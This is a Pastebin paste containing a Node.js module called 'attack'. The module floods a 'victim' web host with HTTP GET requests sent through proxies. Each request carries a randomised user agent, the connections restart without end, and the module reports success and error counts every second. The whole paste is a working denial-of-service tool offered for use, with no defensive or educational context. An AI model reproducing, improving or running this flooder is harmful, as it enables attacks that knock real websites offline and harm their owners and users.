Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
8,558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.25 KB | None | 0 0
  1. const net = require('net');
  2.  
  3. function randInteger(min, max) {
  4. let rand = min - 0.5 + Math.random() * (max - min + 1);
  5. rand = Math.round(rand);
  6. return rand;
  7. }
  8.  
  9. class attack {
  10. constructor(userAgents, callback) {
  11. this.userAgents = userAgents;
  12.  
  13. this.isRunning = false;
  14. this.stats = {
  15. errors: 0,
  16. success: 0,
  17. loop: 0
  18. };
  19. this.logInterval = setInterval(() => {
  20. if (this.isRunning) {
  21. callback(this.stats);
  22. this.resetStats();
  23. }
  24. }, 1000);
  25. }
  26.  
  27. start(props) {
  28. this.isRunning = true;
  29. if (this.isRunning) {
  30. let socket = net.connect({host: props.proxy.host, port: props.proxy.port});
  31. socket.once('error', err => {
  32. this.stats.errors++;
  33. });
  34. socket.once('disconnect', () => {
  35. this.stats.errors++;
  36. if (this.isRunning)
  37. this.start(props);
  38. });
  39.  
  40. socket.once('data', data => {
  41. this.stats.success++;
  42. if (this.isRunning)
  43. this.start(props);
  44. });
  45.  
  46. this.stats.loop++;
  47.  
  48. for (let j = 0; j < props.requests; j++) {
  49. let userAgent = this.userAgents[randInteger(0, this.userAgents.length)];
  50. if (!props.victim.host.startsWith('http://') && !props.victim.host.startsWith('https://'))
  51. props.victim.host = 'http://' + props.victim.host;
  52. socket.write(`GET ${props.victim.host} HTTP/1.1\r\nHost: ${props.victim.host.split('//')[1].split('/')[0]}\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nuser-agent: ${userAgent}\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\n\r\n`);
  53. }
  54. }
  55. }
  56.  
  57. stop() {
  58. this.isRunning = false;
  59. this.resetStats();
  60. }
  61.  
  62. resetStats() {
  63. this.stats = {
  64. errors: 0,
  65. success: 0,
  66. loop: 0
  67. };
  68. }
  69. }
  70.  
  71. module.exports = attack;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement